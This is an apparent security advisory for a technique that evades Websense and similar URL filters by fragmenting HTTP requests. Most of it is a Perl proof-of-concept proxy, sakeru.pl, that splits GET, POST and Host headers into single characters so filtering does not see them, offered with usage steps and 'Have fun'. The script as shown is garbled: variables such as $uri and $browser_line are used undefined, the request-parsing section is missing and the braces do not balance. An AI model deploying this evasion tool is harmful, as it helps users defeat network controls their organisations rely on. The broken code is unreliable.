Vulnerable Systems:
* Websense in Sniffing mode
* Websense with Check Point FW-1 in UFP (transparent non proxy)
* Websense with Cisco Pix
(Any environment not using a proxy (Check Point Firewall-1, Cisco Pix, Whatever...), URL filtering software who don't reconstruct HTTP packets before allowing them through.)
The concept behind the weakness is simple: Everytime time a user asks a web page, the browser generates a request that passes through the firewall. Websense (and other products) looks at this request and answers yes or no depending if the requested URL is in the database. In transparent mode, Websense counts on the fact that the firewall will forward the whole request in one packet. If not, Websense will simply let the packet pass. Since the packets sent by the Sakeru.pl do not look like a HTTP request Websense will let them through.
Installation:
1) Run the script:
perl -x sakeru.pl
2) Configure your browser to use a proxy on localhost port 5050 Surf the tide!!
http://sinhack.net/URLFilteringEvasion/
########################################
# sakeru.pl v0.1 - http://sinhack.net/URLFilteringEvasion/sakeru.txt
#
# URL Filtering Bypass proof of concept
# By sinhack research labs
# first version Dec 23 2002
# last update Jun 06 2004
#
# Usage:
# 1) perl sakeru.pl
# 2) Configure your browser's proxy at localhost:5050
# 3) Have fun.
#
# Known bugs:
# - This proxy is not multitask, so your browser will timeout
# when you ask him to download many images at once
# - Sometime, you will have a "Can't connect" message... simply hit reload
# - Not all requests can evade the proxy... I'll fix it one day...
# - I know, the code is a mess, It's only a proof of concept.
#
# For a better experience, use with Proxomitron (www.proxomitron.info) to strip
# the ads and Firefox (IE seems to be nervous about the timeouts...)
#
# Known Issues Related To This Bug:
# SurfControl SuperScout can be Bypassed Using Split Packets
# url: http://www.securiteam.com/securitynews/5MP0L004KO.html
# Archived : 20/06/2001 by ndesai01 at tampabay.rr.com
# (I didn't know at the moment of my research...)
#
#
#
# --- Start Of Script---
use strict;
use URI;
use IO::Socket;
my $showOpenedSockets=1; #Activate the console logging
my $debugging=0;
my $server = IO::Socket::INET->new ( #Proxy Configuration
LocalPort => 5050, #Change the listening port here
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10);
binmode $server;
print "Waiting for connections on port 5050 TCP...\n";
while (my $browser = $server->accept()) { #When a connection occure...
binmode $browser;
my $method="";
my $content_length = 0;
my $content = 0;
my $accu_content_length = 0;
my $host;
my $hostAddr;
my $httpVer;
my $line;
$host = IO::Socket::INET->new ( #Opening the connexion to the remote host
PeerAddr=> $uri->host,
PeerPort=> $uri->port ) or die "couldn't open $hostAddr";
binmode $host;
my $char;
if ($method == "GET") { #Fragmention the "GET" query
foreach $char ('G','E','T',' ') { #I know, there is better way to do it,
print $host $char; #but I'm tired and lazy...
}
} elsif ($method == "POST") { #Fragmentation of "POST" query
foreach $char ('P','O','S','T',' ') {
print $host $char;
}
} else {
print $host "$method "; #For all the other methods, send them without modif
print "*";
}
print $host $uri->path_query . " $httpVer\n"; #Send the rest of the query (url and http version)
#next;
}
$content_length = $1 if $browser_line=~/Content-length: +(\d+)/i;
$accu_content_length+=length $browser_line;
foreach $line (split('\n', $browser_line)) { #Fragment the Host query
if ($line =~ /^Host:/ ) {
my $char="";
my $word="";
my $bogus="";
($bogus,$word) = split(' ', $line);
foreach $char ('H','o','s','t',':',' ') {
print $host $char;
}
print $host $word."\n";
} else {
print $host "$line\n"; #For all the other lines, send them without modif
}
last if $browser_line =~ /^\s*$/ and $method ne 'POST';
if ($browser_line =~ /^\s*$/ and $method eq "POST") {
$content = 1;
last unless $content_length;
next;
}
#print length $browser_line . " - ";
if ($content) {
$accu_content_length+=length $browser_line;
last if $accu_content_length >= $content_length;
}
}
my $crcount=0;
my $totalcounter=0;
my $packetcount=0;
while ( my $host_line = <$host> ) { #Reception of the result from the server
$totalcounter+=length $host_line;
print $browser $host_line; #Send them back to the browser
#print $host_line if ( ! $content ); #Send them back to the browser
if ($host_line=~/Content-length: +(\d+)/i) {
$content_length = $1;
#print " * Expecting $content_length\n"; #if ($debugging);
}
if ($host_line =~ m/^\s*$/ and not $content) {
$content = 1;
#print " * Beginning of the data section\n";
}
if ($content) {
#$accu_content_length+=length $host_line;
if ($content_length) {
#print " * binary data section\n";
my $buffer;
my $buffersize = 512;
if ($content_length < $buffersize) { $buffersize = $content_length; }
while ( my $nbread = read($host, $buffer, $buffersize)) {
print "#";
$packetcount++;
$accu_content_length+=$nbread;
#last if $accu_content_length >= $content_length;
print $browser $buffer; #Send them back to the browser
#print $buffer;
#print "\n(#$packetcount) ";
#print "total: $totalcounter content_length: $content_length acc: $accu_content_length\t";
my $tmp1 = $content_length - $accu_content_length;
#print "length-accu= $tmp1\n";
if ($tmp1 < $buffersize) {
$buffersize = $tmp1;
#print "new buffersize = $buffersize\n";
}
}
#print "Out of the content while\n";
}
}
#print "(#$packetcount) ";
#print "total: $totalcounter content_length: $content_length acc: $accu_content_length\t";
#my $tmp1 = $content_length - $accu_content_length;
#print "length-accu= $tmp1\n";
last if ($accu_content_length >= $content_length and $content == 1 and $content_length);
}
#print "\nOut for a while\n";
if ($browser) { $browser -> close; } #Closing connection to the browser
if ($host) { $host -> close; } #Closion connection to the server